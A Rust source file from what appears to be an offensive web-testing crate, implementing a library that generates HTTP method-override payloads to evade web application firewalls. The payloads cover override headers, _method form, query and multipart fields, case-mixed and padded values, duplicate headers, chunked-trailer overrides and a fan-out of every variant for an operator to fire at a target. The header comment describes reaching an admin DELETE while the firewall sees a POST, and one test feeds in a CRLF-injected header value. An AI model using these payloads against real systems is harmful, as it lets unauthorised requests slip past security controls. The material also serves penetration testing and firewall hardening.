Skip to main content

wafrift_encoding/encoding/
method_override.rs

1//! HTTP method-override confusion library.
2//!
3//! Web frameworks accept "method override" hints — extra ways for a
4//! client behind a form (which only emits GET / POST) to request a
5//! PUT / DELETE / PATCH / etc. The hint comes in via four channels:
6//!
7//! 1. **`X-HTTP-Method-Override` header** (Rails, Express, Django,
8//!    Symfony, Spring, ASP.NET). Some frameworks also accept
9//!    `X-HTTP-Method`, `X-Method-Override`.
10//! 2. **`_method` form field** (Rails, Laravel — emitted by Rails
11//!    `<%= form_with method: :delete %>` helpers).
12//! 3. **`_method` query parameter** (Rails fallback when the request
13//!    is a POST without a form-encoded body).
14//! 4. **`HTTP_X_HTTP_METHOD_OVERRIDE` env var** (CGI bridges that
15//!    pass headers as env vars; older PHP / Perl deployments).
16//!
17//! The WAF's threat model is usually based on the WIRE METHOD. If
18//! the wire shows `POST /resource`, the WAF applies POST rules. But
19//! the framework re-interprets the request as `DELETE /resource`
20//! and the action runs. Attacker reaches an authenticated
21//! `DELETE /admin/user/123` while the WAF saw `POST /admin/user/123`
22//! and didn't fire its DELETE-against-admin rule.
23//!
24//! This library produces the WIRE BYTES for every override channel,
25//! plus a few exotic variants:
26//!
27//! - **Case-variant override**: `X-HTTP-Method-Override: dElEtE`.
28//!   Frameworks usually upper-case before dispatch; WAFs that
29//!   blocklist `DELETE` literally miss.
30//! - **Whitespace-padded override**: `X-HTTP-Method-Override:  \tDELETE`.
31//! - **Duplicate override header**: two `X-HTTP-Method-Override`
32//!   lines with different methods. RFC says concatenate with comma;
33//!   frameworks split on comma and pick first / last differently.
34//! - **Override-via-trailer**: HTTP/1.1 chunked-trailer with
35//!   `X-HTTP-Method-Override`. Some frameworks read trailers; WAFs
36//!   typically don't.
37//! - **HTTP/2 `:method` smuggled via `X-HTTP-Method-Override`**:
38//!   `POST` on the H2 pseudo-header + DELETE in the override
39//!   custom header.
40//! - **Form-field override with multipart**: `_method` in a multipart
41//!   field that the WAF parses as a text field but the framework
42//!   parses as a directive.
43//!
44//! Output contract: each function returns just the relevant header
45//! line or form-field bytes. The operator composes them into a
46//! complete request.
47
48/// Build an `X-HTTP-Method-Override` header line that hints DELETE
49/// (or any caller-supplied method) while the wire method is POST.
50#[must_use]
51pub fn override_header(method: &str) -> String {
52    format!("X-HTTP-Method-Override: {method}")
53}
54
55/// Alternate header name: `X-HTTP-Method`. Used by some Rails
56/// stacks and ASP.NET WebAPI.
57#[must_use]
58pub fn override_header_alt(method: &str) -> String {
59    format!("X-HTTP-Method: {method}")
60}
61
62/// Another alternate: `X-Method-Override`. Used by Express
63/// `method-override` middleware (default header name).
64#[must_use]
65pub fn override_header_express(method: &str) -> String {
66    format!("X-Method-Override: {method}")
67}
68
69/// Case-mixed method value to defeat case-sensitive WAF blocklists.
70#[must_use]
71pub fn override_header_case_mix(method: &str) -> String {
72    let mixed: String = method
73        .chars()
74        .enumerate()
75        .map(|(i, c)| {
76            if i % 2 == 0 {
77                c.to_ascii_lowercase()
78            } else {
79                c.to_ascii_uppercase()
80            }
81        })
82        .collect();
83    format!("X-HTTP-Method-Override: {mixed}")
84}
85
86/// Whitespace-padded variant — WAF may strip leading whitespace
87/// before logging but framework re-parses the value.
88#[must_use]
89pub fn override_header_padded(method: &str) -> String {
90    format!("X-HTTP-Method-Override:  \t {method}  ")
91}
92
93/// Duplicate-header smuggle. Two header lines with different
94/// method values — front-end and back-end disagree on which wins.
95#[must_use]
96pub fn override_header_duplicate(method_a: &str, method_b: &str) -> String {
97    format!("X-HTTP-Method-Override: {method_a}\r\nX-HTTP-Method-Override: {method_b}")
98}
99
100/// Form-field `_method` override (urlencoded body). Used by Rails
101/// and Laravel form helpers.
102#[must_use]
103pub fn form_field_method(method: &str) -> String {
104    format!("_method={method}")
105}
106
107/// Query-string `_method` override (Rails accepts on POST requests
108/// when there's no form body).
109#[must_use]
110pub fn query_method(method: &str) -> String {
111    format!("?_method={method}")
112}
113
114/// Multipart `_method` field — sends as multipart/form-data so the
115/// WAF that only inspects form-urlencoded misses it.
116#[must_use]
117pub fn multipart_method(method: &str, boundary: &str) -> String {
118    format!(
119        "--{boundary}\r\nContent-Disposition: form-data; name=\"_method\"\r\n\r\n{method}\r\n--{boundary}--\r\n"
120    )
121}
122
123/// HTTP/1.1 chunked trailer override. The header block looks like
124/// a plain POST; the framework reads the trailer after the chunked
125/// body and finds DELETE.
126#[must_use]
127pub fn chunked_trailer_override(method: &str, body: &str) -> String {
128    let body_len_hex = format!("{:x}", body.len());
129    format!(
130        "Transfer-Encoding: chunked\r\nTrailer: X-HTTP-Method-Override\r\n\r\n{body_len_hex}\r\n{body}\r\n0\r\nX-HTTP-Method-Override: {method}\r\n\r\n"
131    )
132}
133
134/// Combine BOTH header AND form field with DIFFERENT methods.
135/// Framework precedence varies: Rails uses form, Express depends
136/// on configuration order. Catches every framework with one shot.
137#[must_use]
138pub fn header_plus_form_disagree(header_method: &str, form_method: &str) -> String {
139    format!(
140        "X-HTTP-Method-Override: {header_method}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n_method={form_method}"
141    )
142}
143
144/// Build a one-shot fan-out: every override channel for the same
145/// target method. Returns ~12 variants the operator can fire to
146/// learn which channels the target honors.
147#[must_use]
148pub fn all_override_variants(method: &str) -> Vec<(&'static str, String)> {
149    vec![
150        ("header-standard", override_header(method)),
151        ("header-alt", override_header_alt(method)),
152        ("header-express", override_header_express(method)),
153        ("header-case-mix", override_header_case_mix(method)),
154        ("header-padded", override_header_padded(method)),
155        ("header-duplicate", override_header_duplicate("GET", method)),
156        ("form-field", form_field_method(method)),
157        ("query", query_method(method)),
158        (
159            "multipart",
160            multipart_method(method, "------WebKitFormBoundaryXXX"),
161        ),
162        (
163            "chunked-trailer",
164            chunked_trailer_override(method, "name=value"),
165        ),
166        ("header-plus-form", header_plus_form_disagree("GET", method)),
167    ]
168}
169
170#[cfg(test)]
171mod tests {
172    use super::*;
173
174    #[test]
175    fn override_header_basic_delete() {
176        assert_eq!(override_header("DELETE"), "X-HTTP-Method-Override: DELETE");
177    }
178
179    #[test]
180    fn override_header_alt_name() {
181        assert_eq!(override_header_alt("PUT"), "X-HTTP-Method: PUT");
182    }
183
184    #[test]
185    fn override_header_express_name() {
186        assert_eq!(override_header_express("PATCH"), "X-Method-Override: PATCH");
187    }
188
189    #[test]
190    fn override_header_case_mix_alternates() {
191        let h = override_header_case_mix("DELETE");
192        // Lower-Upper-Lower-Upper-Lower-Upper.
193        assert!(h.contains("dElEtE"));
194    }
195
196    #[test]
197    fn override_header_case_mix_short() {
198        let h = override_header_case_mix("GET");
199        assert!(h.contains("gEt"));
200    }
201
202    #[test]
203    fn override_header_padded_has_whitespace() {
204        let h = override_header_padded("DELETE");
205        assert!(h.contains("\t"));
206        assert!(h.contains("  ")); // double-space
207        assert!(h.contains("DELETE"));
208    }
209
210    #[test]
211    fn override_header_duplicate_emits_two_lines() {
212        let h = override_header_duplicate("GET", "DELETE");
213        assert_eq!(h.matches("X-HTTP-Method-Override:").count(), 2);
214        assert!(h.contains("GET"));
215        assert!(h.contains("DELETE"));
216    }
217
218    #[test]
219    fn form_field_method_basic() {
220        assert_eq!(form_field_method("DELETE"), "_method=DELETE");
221    }
222
223    #[test]
224    fn query_method_has_question_mark() {
225        let q = query_method("DELETE");
226        assert_eq!(q, "?_method=DELETE");
227        assert!(q.starts_with('?'));
228    }
229
230    #[test]
231    fn multipart_method_contains_boundary_and_method() {
232        let m = multipart_method("DELETE", "BOUND");
233        assert!(m.contains("--BOUND"));
234        assert!(m.contains("--BOUND--"));
235        assert!(m.contains("name=\"_method\""));
236        assert!(m.contains("DELETE"));
237    }
238
239    #[test]
240    fn chunked_trailer_contains_trailer_header() {
241        let c = chunked_trailer_override("DELETE", "key=val");
242        assert!(c.contains("Transfer-Encoding: chunked"));
243        assert!(c.contains("Trailer: X-HTTP-Method-Override"));
244        assert!(c.contains("X-HTTP-Method-Override: DELETE"));
245        // Chunked body has 0-terminator.
246        assert!(c.contains("\r\n0\r\n"));
247    }
248
249    #[test]
250    fn chunked_trailer_body_length_correct_hex() {
251        let c = chunked_trailer_override("DELETE", "abc");
252        // "abc" = 3 bytes = hex '3'.
253        assert!(c.contains("3\r\nabc\r\n"));
254    }
255
256    #[test]
257    fn chunked_trailer_body_length_two_digit_hex() {
258        let c = chunked_trailer_override("DELETE", "0123456789ABCDEF0123"); // 20 bytes
259        // 20 decimal = 14 hex.
260        assert!(c.contains("14\r\n"));
261    }
262
263    #[test]
264    fn header_plus_form_uses_both_channels() {
265        let h = header_plus_form_disagree("GET", "DELETE");
266        assert!(h.contains("X-HTTP-Method-Override: GET"));
267        assert!(h.contains("_method=DELETE"));
268    }
269
270    #[test]
271    fn all_override_variants_count() {
272        let v = all_override_variants("DELETE");
273        assert!(v.len() >= 10);
274    }
275
276    #[test]
277    fn all_override_variants_unique_names() {
278        let v = all_override_variants("DELETE");
279        let names: std::collections::HashSet<&&str> = v.iter().map(|(n, _)| n).collect();
280        assert_eq!(names.len(), v.len());
281    }
282
283    #[test]
284    fn all_override_variants_contain_target_method() {
285        // header-case-mix intentionally changes the ASCII case of the method
286        // value (that IS its WAF-evasion purpose), so we compare case-insensitively.
287        let v = all_override_variants("UNIQUEMARKER");
288        let marker_lower = "uniquemarker";
289        for (name, payload) in &v {
290            assert!(
291                payload.to_ascii_lowercase().contains(marker_lower),
292                "{name} doesn't carry the method: {payload}"
293            );
294        }
295    }
296
297    #[test]
298    fn deterministic_across_calls() {
299        let a = all_override_variants("DELETE");
300        let b = all_override_variants("DELETE");
301        assert_eq!(a, b);
302    }
303
304    #[test]
305    fn handles_unicode_method() {
306        // RFC 7230 method tokens are tchar (ASCII only), but the
307        // library doesn't enforce — frameworks vary.
308        let h = override_header("DÉLÊTE");
309        assert!(h.contains("DÉLÊTE"));
310    }
311
312    #[test]
313    fn adversarial_long_method_no_panic() {
314        let big = "X".repeat(10_000);
315        let _ = override_header(&big);
316        let _ = override_header_case_mix(&big);
317        let _ = all_override_variants(&big);
318    }
319
320    #[test]
321    fn override_header_empty_method() {
322        let h = override_header("");
323        assert_eq!(h, "X-HTTP-Method-Override: ");
324    }
325
326    #[test]
327    fn case_mix_idempotent_on_alternation() {
328        // Calling case-mix twice produces the same output (mixing
329        // is deterministic, not random).
330        let a = override_header_case_mix("HELLO");
331        let b = override_header_case_mix("HELLO");
332        assert_eq!(a, b);
333    }
334
335    #[test]
336    fn duplicate_header_no_crlf_injection_outside_header_block() {
337        // The CRLF separates two legitimate headers. There should
338        // be exactly TWO CRLFs (one per header line ending), not
339        // any embedded inside a value.
340        let h = override_header_duplicate("A", "B");
341        // Lines: "X-HTTP-Method-Override: A\r\nX-HTTP-Method-Override: B"
342        // CRLF count = 1.
343        assert_eq!(h.matches("\r\n").count(), 1);
344    }
345
346    #[test]
347    fn case_mix_empty_string() {
348        assert_eq!(override_header_case_mix(""), "X-HTTP-Method-Override: ");
349    }
350
351    #[test]
352    fn multipart_handles_special_chars_in_method() {
353        // We don't sanitize the method — operator's responsibility.
354        let m = multipart_method("DELETE\r\nX-Inject: yes", "B");
355        // The injection is in the value — caller must escape at
356        // their layer. Test just confirms no panic.
357        assert!(m.contains("name=\"_method\""));
358    }
359
360    #[test]
361    fn chunked_trailer_empty_body() {
362        let c = chunked_trailer_override("DELETE", "");
363        // 0-length body still has terminating zero-chunk.
364        assert!(c.contains("0\r\n"));
365        assert!(c.contains("X-HTTP-Method-Override: DELETE"));
366    }
367}